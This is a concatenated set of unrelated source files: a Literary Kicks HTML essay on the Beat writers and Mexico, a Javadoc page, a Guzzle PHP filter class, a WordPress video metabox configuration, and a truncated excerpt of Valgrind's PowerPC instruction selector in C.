<H1>Mexico</H1> </CENTER> <FONT FACE="Verdana"> In the autumn of 1947, 25-year-old <A HREF="page.jsp?what=JackKerouac">Jack Kerouac</A> left <A HREF="page.jsp?what=SanFrancisco">San Francisco</A> and headed for Southern California in search of unforeseen adventures. He met a Mexican girl named Bea Franco on a bus and ended up following her to an encampment of Mexican grape- and cotton-pickers, where they briefly contemplated a life together before Kerouac returned home. Kerouac's telling of this poignant episode would become part of the first trip in '<A HREF="page.jsp?what=OnTheRoad">On The Road</A>,' and was published as an excerpt ('The Mexican Girl') in The Paris Review. Kerouac hadn't even reached Mexico yet (he would soon), but the Beat fascination for Mexican culture was already clear.<P> The Beats didn't have much money, but they craved alternative cultures, and going to Mexico was the cheapest and easiest way to delve into what we now call the Third World. <A HREF="page.jsp?what=WilliamSBurroughs">William S. Burroughs</A> lived in Mexico City for a time, and it was here that he caused the death of his wife while playing with guns. He had to flee Mexico, but later explored South American jungles in search of a drug called Yage, and the letters he wrote to <A HREF="page.jsp?what=AllenGinsberg">Allen Ginsberg</A> during this time have been published as 'The Yage Letters.'<P> Ginsberg had his own Mexican adventures. The year before he became famous for '<A HREF="page.jsp?what=Howl">Howl</A>,' he went on an archeological expedition to the Mayan ruins of the Yucatan Peninsula, and ended up leading a spontaneous expedition of over fifty villagers to explore a volcano during an earthquake. This episode is typical of Ginsberg's career -- he didn't know exactly what he was doing, but he had the courage to do it, and when people sensed this they named him their leader. <P> There are more Beat connections to Mexico than I can possibly capture here. Kerouac's novel 'Tristessa' takes place there. <A HREF="page.jsp?what=LawrenceFerlinghetti">Lawrence Ferlinghetti</A> published a travel journal called 'The Mexican Night' in 1962. Timothy Leary's experiments with mind-altering drugs began with his discovery of natural Mexican psychedelics, although Leary soon adopted the use of synthetic psychedelics. Natural Mexican drugs like peyote and mescaline have always been popular, though, and Carlos Casteneda's 'Don Juan' books helped to spread this mystique. <A HREF="page.jsp?what=KenKesey">Ken Kesey</A>, another one who liked to use synthetic psychedelics, was a fugitive from American justice in Mexico during the mid-Sixties. <A HREF="page.jsp?what=NealCassady">Neal Cassady</A> died while trying to walk the railroad tracks between two Mexican villages on a cold night.<P> The European conquest of Mexico began in 1519, a few decades after Columbus' discovery of the Americas. Several advanced Native American populations such as the Aztecs and Mayans were decimated by Europeans (Cortez's murderous confrontation with Montezuma's grand empire is the subject of Neil Young's excellent song 'Cortez the Killer'). The area was known as New Spain, but the Native American population survived better than in North America, and the current population of Mexico is largely Native American in origin. The nation of Mexico was created in 1821, during the wave of independent uprisings that followed Napoleon's disruption of the European order and his conquest of Spain.<P> I've been to the Yucatan, and the Mayan ruins there are an amazing experience. I also just can't say enough good things about Mexican food, although I doubt any true Mexican would be very impressed by the California concoctions we Americans refer to as burritos and tacos. <P> <CENTER><I>-- <A HREF="profile.jsp?who=brooklyn">brooklyn</A> --</I></CENTER> </FONT> </TD></TR> </TABLE> </CENTER> <BR> <CENTER> <TABLE WIDTH="580" CELLPADDING=0 CELLSPACING=0 BORDER=0> <TR> <TD WIDTH="270">&nbsp;</TD> <TD WIDTH="230" BGCOLOR="#5F0F3F" ALIGN="CENTER" VALIGN="MIDDLE"> <BR> <FONT FACE="Verdana" COLOR="#FFFFFF"> Go to <A HREF="page.jsp?what=Beatitude">Beatitude Board</A> to post responses, corrections, questions or further thoughts <BR> </FONT><BR> </TD> <TD WIDTH="80">&nbsp;</TD> </TR> </TABLE> </CENTER> <BR> <BR> <a href="http://www.litkicks.com/">Literary Kicks</a> </font> </body> </html>
marceliotstein/literarykicks
Places/Mexico.html
HTML
gpl-2.0
5,890
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_66) on Tue Dec 08 01:24:03 CST 2015 --> <title>Uses of Class com.online.lakeshoremarket.representation.order.OrderRequest</title> <meta name="date" content="2015-12-08"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class com.online.lakeshoremarket.representation.order.OrderRequest"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?com/online/lakeshoremarket/representation/order/class-use/OrderRequest.html" target="_top">Frames</a></li> <li><a href="OrderRequest.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class com.online.lakeshoremarket.representation.order.OrderRequest" class="title">Uses of Class<br>com.online.lakeshoremarket.representation.order.OrderRequest</h2> </div> <div class="classUseContainer"> <ul class="blockList"> <li class="blockList"> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation"> <caption><span>Packages that use <a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="#com.online.lakeshoremarket.activity">com.online.lakeshoremarket.activity</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.online.lakeshoremarket.resource">com.online.lakeshoremarket.resource</a></td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="com.online.lakeshoremarket.activity"> <!-- --> </a> <h3>Uses of <a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a> in <a href="../../../../../../com/online/lakeshoremarket/activity/package-summary.html">com.online.lakeshoremarket.activity</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../com/online/lakeshoremarket/activity/package-summary.html">com.online.lakeshoremarket.activity</a> with parameters of type <a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><span class="typeNameLabel">PaymentActivity.</span><code><span class="memberNameLink"><a href="../../../../../../com/online/lakeshoremarket/activity/PaymentActivity.html#buyProduct-com.online.lakeshoremarket.representation.order.OrderRequest-">buyProduct</a></span>(<a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a>&nbsp;orderRequest)</code> <div class="block">creates a new payment domain for an order representation</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.online.lakeshoremarket.resource"> <!-- --> </a> <h3>Uses of <a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a> in <a href="../../../../../../com/online/lakeshoremarket/resource/package-summary.html">com.online.lakeshoremarket.resource</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../com/online/lakeshoremarket/resource/package-summary.html">com.online.lakeshoremarket.resource</a> with parameters of type <a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../com/online/lakeshoremarket/representation/generic/GenericResponse.html" title="class in com.online.lakeshoremarket.representation.generic">GenericResponse</a></code></td> <td class="colLast"><span class="typeNameLabel">PaymentResource.</span><code><span class="memberNameLink"><a href="../../../../../../com/online/lakeshoremarket/resource/PaymentResource.html#buyProduct-com.online.lakeshoremarket.representation.order.OrderRequest-java.lang.String-java.lang.String-">buyProduct</a></span>(<a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">OrderRequest</a>&nbsp;orderRequest, java.lang.String&nbsp;email, java.lang.String&nbsp;password)</code> <div class="block">PUT method request for placing an order</div> </td> </tr> </tbody> </table> </li> </ul> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../com/online/lakeshoremarket/representation/order/OrderRequest.html" title="class in com.online.lakeshoremarket.representation.order">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?com/online/lakeshoremarket/representation/order/class-use/OrderRequest.html" target="_top">Frames</a></li> <li><a href="OrderRequest.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
elliottpost/lakeshoremarket
doc/com/online/lakeshoremarket/representation/order/class-use/OrderRequest.html
HTML
gpl-2.0
9,361
<?php namespace Guzzle\Common\Filter; /** * Check if the supplied variable is a string * * @author Michael Dowling <[email protected]> */ class StringFilter extends AbstractFilter { /** * {@inheritdoc} */ protected function filterCommand($command) { if (!is_string($command)) { return 'The supplied value is not a string: ' . gettype($command) . ' supplied'; } return true; } }
wakeless-net/currinda-wordpress-login
vendor/guzzle/guzzle/src/Guzzle/Common/Filter/StringFilter.php
PHP
gpl-2.0
467
<?php return array( 'id' => 'jkreativ_page_fssingle_video', 'types' => array('page'), 'title' => 'Jkreativ Fullscreen Single video', 'priority' => 'high', 'template' => array( array( 'name' => 'video_type', 'type' => 'select', 'label' => 'Video Type', 'default' => 'youtube', 'items' => array( array( 'value' => 'youtube', 'label' => 'Youtube', ), array( 'value' => 'vimeo', 'label' => 'Vimeo', ) ) ), array( 'type' => 'textbox', 'name' => 'youtube_video', 'label' => 'Youtube Video', 'description' => 'url of your youtube url, ex : http://www.youtube.com/watch?v=9B7UcTBJYCA', 'dependency' => array( 'field' => 'video_type', 'function' => 'jeg_heading_type_youtube', ), ), array( 'type' => 'textbox', 'name' => 'vimeo_video', 'label' => 'Vimeo Video', 'description' => 'url of your vimeo url, ex : http://vimeo.com/71536276', 'dependency' => array( 'field' => 'video_type', 'function' => 'jeg_heading_type_vimeo', ), ), array( 'type' => 'toggle', 'name' => 'enable_autoplay', 'label' => 'Enable Video Autoplay' ), ), );
OpenDoorBrewCo/odbc-wp-prod
wp-content/themes/jkreativ-themes/admin/metabox/page/fssinglevideo.php
PHP
gpl-2.0
1,351
/* This file is part of Valgrind, a dynamic binary instrumentation framework. Copyright (C) 2004-2012 OpenWorks LLP [email protected] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. The GNU General Public License is contained in the file COPYING. Neither the names of the U.S. Department of Energy nor the University of California nor the names of its contributors may be used to endorse or promote products derived from this software without prior written permission. */ #include "libvex_basictypes.h" #include "libvex_ir.h" #include "libvex.h" #include "ir_match.h" #include "main_util.h" #include "main_globals.h" #include "host_generic_regs.h" #include "host_generic_simd64.h" #include "host_ppc_defs.h" #define HRcGPR(__mode64) (__mode64 ? HRcInt64 : HRcInt32) static IRExpr* unop ( IROp op, IRExpr* a ) { return IRExpr_Unop(op, a); } static IRExpr* mkU32 ( UInt i ) { return IRExpr_Const(IRConst_U32(i)); } static IRExpr* bind ( Int binder ) { return IRExpr_Binder(binder); } typedef struct { IRTypeEnv* type_env; HReg* vregmapLo; HReg* vregmapMedLo; HReg* vregmapMedHi; HReg* vregmapHi; Int n_vregmap; UInt hwcaps; Bool mode64; VexAbiInfo* vbi; Bool chainingAllowed; Addr64 max_ga; HInstrArray* code; Int vreg_ctr; IRExpr* previous_rm; } ISelEnv; static HReg lookupIRTemp ( ISelEnv* env, IRTemp tmp ) { vassert(tmp >= 0); vassert(tmp < env->n_vregmap); return env->vregmapLo[tmp]; } static void lookupIRTempPair ( HReg* vrHI, HReg* vrLO, ISelEnv* env, IRTemp tmp ) { vassert(tmp >= 0); vassert(tmp < env->n_vregmap); vassert(env->vregmapMedLo[tmp] != INVALID_HREG); *vrLO = env->vregmapLo[tmp]; *vrHI = env->vregmapMedLo[tmp]; } static void lookupIRTempQuad ( HReg* vrHi, HReg* vrMedHi, HReg* vrMedLo, HReg* vrLo, ISelEnv* env, IRTemp tmp ) { vassert(!env->mode64); vassert(tmp >= 0); vassert(tmp < env->n_vregmap); vassert(env->vregmapMedLo[tmp] != INVALID_HREG); *vrHi = env->vregmapHi[tmp]; *vrMedHi = env->vregmapMedHi[tmp]; *vrMedLo = env->vregmapMedLo[tmp]; *vrLo = env->vregmapLo[tmp]; } static void addInstr ( ISelEnv* env, PPCInstr* instr ) { addHInstr(env->code, instr); if (vex_traceflags & VEX_TRACE_VCODE) { ppPPCInstr(instr, env->mode64); vex_printf("\n"); } } static HReg newVRegI ( ISelEnv* env ) { HReg reg = mkHReg(env->vreg_ctr, HRcGPR(env->mode64), True); env->vreg_ctr++; return reg; } static HReg newVRegF ( ISelEnv* env ) { HReg reg = mkHReg(env->vreg_ctr, HRcFlt64, True); env->vreg_ctr++; return reg; } static HReg newVRegV ( ISelEnv* env ) { HReg reg = mkHReg(env->vreg_ctr, HRcVec128, True); env->vreg_ctr++; return reg; } static HReg iselWordExpr_R_wrk ( ISelEnv* env, IRExpr* e ); static HReg iselWordExpr_R ( ISelEnv* env, IRExpr* e ); static PPCRH* iselWordExpr_RH_wrk ( ISelEnv* env, Bool syned, IRExpr* e ); static PPCRH* iselWordExpr_RH ( ISelEnv* env, Bool syned, IRExpr* e ); static PPCRI* iselWordExpr_RI_wrk ( ISelEnv* env, IRExpr* e ); static PPCRI* iselWordExpr_RI ( ISelEnv* env, IRExpr* e ); static PPCRH* iselWordExpr_RH5u_wrk ( ISelEnv* env, IRExpr* e ); static PPCRH* iselWordExpr_RH5u ( ISelEnv* env, IRExpr* e ); static PPCRH* iselWordExpr_RH6u_wrk ( ISelEnv* env, IRExpr* e ); static PPCRH* iselWordExpr_RH6u ( ISelEnv* env, IRExpr* e ); static PPCAMode* iselWordExpr_AMode_wrk ( ISelEnv* env, IRExpr* e, IRType xferTy ); static PPCAMode* iselWordExpr_AMode ( ISelEnv* env, IRExpr* e, IRType xferTy ); static void iselInt128Expr_to_32x4_wrk ( HReg* rHi, HReg* rMedHi, HReg* rMedLo, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselInt128Expr_to_32x4 ( HReg* rHi, HReg* rMedHi, HReg* rMedLo, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselInt64Expr_wrk ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselInt64Expr ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselInt128Expr_wrk ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselInt128Expr ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static PPCCondCode iselCondCode_wrk ( ISelEnv* env, IRExpr* e ); static PPCCondCode iselCondCode ( ISelEnv* env, IRExpr* e ); static HReg iselDblExpr_wrk ( ISelEnv* env, IRExpr* e ); static HReg iselDblExpr ( ISelEnv* env, IRExpr* e ); static HReg iselFltExpr_wrk ( ISelEnv* env, IRExpr* e ); static HReg iselFltExpr ( ISelEnv* env, IRExpr* e ); static HReg iselVecExpr_wrk ( ISelEnv* env, IRExpr* e ); static HReg iselVecExpr ( ISelEnv* env, IRExpr* e ); static HReg iselDfp64Expr_wrk ( ISelEnv* env, IRExpr* e ); static HReg iselDfp64Expr ( ISelEnv* env, IRExpr* e ); static void iselDfp128Expr_wrk ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static void iselDfp128Expr ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ); static PPCInstr* mk_iMOVds_RR ( HReg r_dst, HReg r_src ) { vassert(hregClass(r_dst) == hregClass(r_src)); vassert(hregClass(r_src) == HRcInt32 || hregClass(r_src) == HRcInt64); return PPCInstr_Alu(Palu_OR, r_dst, r_src, PPCRH_Reg(r_src)); } static void add_to_sp ( ISelEnv* env, UInt n ) { HReg sp = StackFramePtr(env->mode64); vassert(n < 256 && (n%16) == 0); addInstr(env, PPCInstr_Alu( Palu_ADD, sp, sp, PPCRH_Imm(True,toUShort(n)) )); } static void sub_from_sp ( ISelEnv* env, UInt n ) { HReg sp = StackFramePtr(env->mode64); vassert(n < 256 && (n%16) == 0); addInstr(env, PPCInstr_Alu( Palu_SUB, sp, sp, PPCRH_Imm(True,toUShort(n)) )); } static HReg get_sp_aligned16 ( ISelEnv* env ) { HReg r = newVRegI(env); HReg align16 = newVRegI(env); addInstr(env, mk_iMOVds_RR(r, StackFramePtr(env->mode64))); addInstr(env, PPCInstr_Alu( Palu_ADD, r, r, PPCRH_Imm(True,toUShort(16)) )); addInstr(env, PPCInstr_LI(align16, 0xFFFFFFFFFFFFFFF0ULL, env->mode64)); addInstr(env, PPCInstr_Alu(Palu_AND, r,r, PPCRH_Reg(align16))); return r; } static HReg mk_LoadRR32toFPR ( ISelEnv* env, HReg r_srcHi, HReg r_srcLo ) { HReg fr_dst = newVRegF(env); PPCAMode *am_addr0, *am_addr1; vassert(!env->mode64); vassert(hregClass(r_srcHi) == HRcInt32); vassert(hregClass(r_srcLo) == HRcInt32); sub_from_sp( env, 16 ); am_addr0 = PPCAMode_IR( 0, StackFramePtr(env->mode64) ); am_addr1 = PPCAMode_IR( 4, StackFramePtr(env->mode64) ); addInstr(env, PPCInstr_Store( 4, am_addr0, r_srcHi, env->mode64 )); addInstr(env, PPCInstr_Store( 4, am_addr1, r_srcLo, env->mode64 )); addInstr(env, PPCInstr_FpLdSt(True, 8, fr_dst, am_addr0)); add_to_sp( env, 16 ); return fr_dst; } static HReg mk_LoadR64toFPR ( ISelEnv* env, HReg r_src ) { HReg fr_dst = newVRegF(env); PPCAMode *am_addr0; vassert(env->mode64); vassert(hregClass(r_src) == HRcInt64); sub_from_sp( env, 16 ); am_addr0 = PPCAMode_IR( 0, StackFramePtr(env->mode64) ); addInstr(env, PPCInstr_Store( 8, am_addr0, r_src, env->mode64 )); addInstr(env, PPCInstr_FpLdSt(True, 8, fr_dst, am_addr0)); add_to_sp( env, 16 ); return fr_dst; } static PPCAMode* advance4 ( ISelEnv* env, PPCAMode* am ) { PPCAMode* am4 = dopyPPCAMode( am ); if (am4->tag == Pam_IR && am4->Pam.IR.index + 4 <= 32767) { am4->Pam.IR.index += 4; } else { vpanic("advance4(ppc,host)"); } return am4; } static PPCAMode* genGuestArrayOffset ( ISelEnv* env, IRRegArray* descr, IRExpr* off, Int bias ) { HReg rtmp, roff; Int elemSz = sizeofIRType(descr->elemTy); Int nElems = descr->nElems; Int shift = 0; if (nElems != 16 && nElems != 32) vpanic("genGuestArrayOffset(ppc host)(1)"); switch (elemSz) { case 4: shift = 2; break; case 8: shift = 3; break; default: vpanic("genGuestArrayOffset(ppc host)(2)"); } if (bias < -100 || bias > 100) vpanic("genGuestArrayOffset(ppc host)(3)"); if (descr->base < 0 || descr->base > 5000) vpanic("genGuestArrayOffset(ppc host)(4)"); roff = iselWordExpr_R(env, off); rtmp = newVRegI(env); addInstr(env, PPCInstr_Alu( Palu_ADD, rtmp, roff, PPCRH_Imm(True, toUShort(bias)))); addInstr(env, PPCInstr_Alu( Palu_AND, rtmp, rtmp, PPCRH_Imm(False, toUShort(nElems-1)))); addInstr(env, PPCInstr_Shft( Pshft_SHL, env->mode64 ? False : True, rtmp, rtmp, PPCRH_Imm(False, toUShort(shift)))); addInstr(env, PPCInstr_Alu( Palu_ADD, rtmp, rtmp, PPCRH_Imm(True, toUShort(descr->base)))); return PPCAMode_RR( GuestStatePtr(env->mode64), rtmp ); } static Bool mightRequireFixedRegs ( IRExpr* e ) { switch (e->tag) { case Iex_RdTmp: case Iex_Const: case Iex_Get: return False; default: return True; } } static void doHelperCall ( ISelEnv* env, Bool passBBP, IRExpr* guard, IRCallee* cee, IRExpr** args ) { PPCCondCode cc; HReg argregs[PPC_N_REGPARMS]; HReg tmpregs[PPC_N_REGPARMS]; Bool go_fast; Int n_args, i, argreg; UInt argiregs; ULong target; Bool mode64 = env->mode64; Bool regalign_int64s = (!mode64) && env->vbi->host_ppc32_regalign_int64_args; n_args = 0; for (i = 0; args[i]; i++) n_args++; if (PPC_N_REGPARMS < n_args + (passBBP ? 1 : 0)) { vpanic("doHelperCall(PPC): cannot currently handle > 8 args"); } argregs[0] = hregPPC_GPR3(mode64); argregs[1] = hregPPC_GPR4(mode64); argregs[2] = hregPPC_GPR5(mode64); argregs[3] = hregPPC_GPR6(mode64); argregs[4] = hregPPC_GPR7(mode64); argregs[5] = hregPPC_GPR8(mode64); argregs[6] = hregPPC_GPR9(mode64); argregs[7] = hregPPC_GPR10(mode64); argiregs = 0; tmpregs[0] = tmpregs[1] = tmpregs[2] = tmpregs[3] = tmpregs[4] = tmpregs[5] = tmpregs[6] = tmpregs[7] = INVALID_HREG; go_fast = True; if (guard) { if (guard->tag == Iex_Const && guard->Iex.Const.con->tag == Ico_U1 && guard->Iex.Const.con->Ico.U1 == True) { } else { go_fast = False; } } if (go_fast) { for (i = 0; i < n_args; i++) { if (mightRequireFixedRegs(args[i])) { go_fast = False; break; } } } if (go_fast) { argreg = 0; if (passBBP) { argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg], GuestStatePtr(mode64) )); argreg++; } for (i = 0; i < n_args; i++) { vassert(argreg < PPC_N_REGPARMS); vassert(typeOfIRExpr(env->type_env, args[i]) == Ity_I32 || typeOfIRExpr(env->type_env, args[i]) == Ity_I64); if (!mode64) { if (typeOfIRExpr(env->type_env, args[i]) == Ity_I32) { argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg], iselWordExpr_R(env, args[i]) )); } else { HReg rHi, rLo; if (regalign_int64s && (argreg%2) == 1) argreg++; vassert(argreg < PPC_N_REGPARMS-1); iselInt64Expr(&rHi,&rLo, env, args[i]); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg++], rHi )); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg], rLo)); } } else { argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg], iselWordExpr_R(env, args[i]) )); } argreg++; } cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); } else { argreg = 0; if (passBBP) { tmpregs[argreg] = newVRegI(env); addInstr(env, mk_iMOVds_RR( tmpregs[argreg], GuestStatePtr(mode64) )); argreg++; } for (i = 0; i < n_args; i++) { vassert(argreg < PPC_N_REGPARMS); vassert(typeOfIRExpr(env->type_env, args[i]) == Ity_I32 || typeOfIRExpr(env->type_env, args[i]) == Ity_I64); if (!mode64) { if (typeOfIRExpr(env->type_env, args[i]) == Ity_I32) { tmpregs[argreg] = iselWordExpr_R(env, args[i]); } else { HReg rHi, rLo; if (regalign_int64s && (argreg%2) == 1) argreg++; vassert(argreg < PPC_N_REGPARMS-1); iselInt64Expr(&rHi,&rLo, env, args[i]); tmpregs[argreg++] = rHi; tmpregs[argreg] = rLo; } } else { tmpregs[argreg] = iselWordExpr_R(env, args[i]); } argreg++; } cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); if (guard) { if (guard->tag == Iex_Const && guard->Iex.Const.con->tag == Ico_U1 && guard->Iex.Const.con->Ico.U1 == True) { } else { cc = iselCondCode( env, guard ); } } for (i = 0; i < argreg; i++) { if (tmpregs[i] == INVALID_HREG) continue; argiregs |= (1 << (i+3)); addInstr( env, mk_iMOVds_RR( argregs[i], tmpregs[i] ) ); } } target = mode64 ? Ptr_to_ULong(cee->addr) : toUInt(Ptr_to_ULong(cee->addr)); addInstr(env, PPCInstr_Call( cc, (Addr64)target, argiregs )); } static HReg roundModeIRtoPPC ( ISelEnv* env, HReg r_rmIR ) { HReg r_rmPPC = newVRegI(env); HReg r_tmp1 = newVRegI(env); HReg r_tmp2 = newVRegI(env); vassert(hregClass(r_rmIR) == HRcGPR(env->mode64)); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, r_tmp1, r_rmIR, PPCRH_Imm(False,1))); addInstr( env, PPCInstr_Alu( Palu_AND, r_tmp2, r_tmp1, PPCRH_Imm( False, 3 ) ) ); addInstr( env, PPCInstr_Alu( Palu_XOR, r_rmPPC, r_rmIR, PPCRH_Reg( r_tmp2 ) ) ); return r_rmPPC; } static void _set_FPU_rounding_mode ( ISelEnv* env, IRExpr* mode, Bool dfp_rm ) { HReg fr_src = newVRegF(env); HReg r_src; vassert(typeOfIRExpr(env->type_env,mode) == Ity_I32); if (env->previous_rm && env->previous_rm->tag == Iex_RdTmp && mode->tag == Iex_RdTmp && env->previous_rm->Iex.RdTmp.tmp == mode->Iex.RdTmp.tmp) { vassert(typeOfIRExpr(env->type_env, env->previous_rm) == Ity_I32); return; } env->previous_rm = mode; r_src = roundModeIRtoPPC( env, iselWordExpr_R(env, mode) ); if (env->mode64) { if (dfp_rm) { HReg r_tmp1 = newVRegI( env ); addInstr( env, PPCInstr_Shft( Pshft_SHL, False, r_tmp1, r_src, PPCRH_Imm( False, 32 ) ) ); fr_src = mk_LoadR64toFPR( env, r_tmp1 ); } else { fr_src = mk_LoadR64toFPR( env, r_src ); } } else { if (dfp_rm) { HReg r_zero = newVRegI( env ); addInstr( env, PPCInstr_LI( r_zero, 0, env->mode64 ) ); fr_src = mk_LoadRR32toFPR( env, r_src, r_zero ); } else { fr_src = mk_LoadRR32toFPR( env, r_src, r_src ); } } addInstr(env, PPCInstr_FpLdFPSCR( fr_src, dfp_rm )); } static void set_FPU_rounding_mode ( ISelEnv* env, IRExpr* mode ) { _set_FPU_rounding_mode(env, mode, False); } static void set_FPU_DFP_rounding_mode ( ISelEnv* env, IRExpr* mode ) { _set_FPU_rounding_mode(env, mode, True); } static HReg generate_zeroes_V128 ( ISelEnv* env ) { HReg dst = newVRegV(env); addInstr(env, PPCInstr_AvBinary(Pav_XOR, dst, dst, dst)); return dst; } static HReg generate_ones_V128 ( ISelEnv* env ) { HReg dst = newVRegV(env); PPCVI5s * src = PPCVI5s_Imm(-1); addInstr(env, PPCInstr_AvSplat(8, dst, src)); return dst; } static HReg mk_AvDuplicateRI( ISelEnv* env, IRExpr* e ) { HReg r_src; HReg dst = newVRegV(env); PPCRI* ri = iselWordExpr_RI(env, e); IRType ty = typeOfIRExpr(env->type_env,e); UInt sz = (ty == Ity_I8) ? 8 : (ty == Ity_I16) ? 16 : 32; vassert(ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32); if (ri->tag == Pri_Imm) { Int simm32 = (Int)ri->Pri.Imm; if (simm32 >= -32 && simm32 <= 31) { Char simm6 = (Char)simm32; if (simm6 > 15) { HReg v1 = 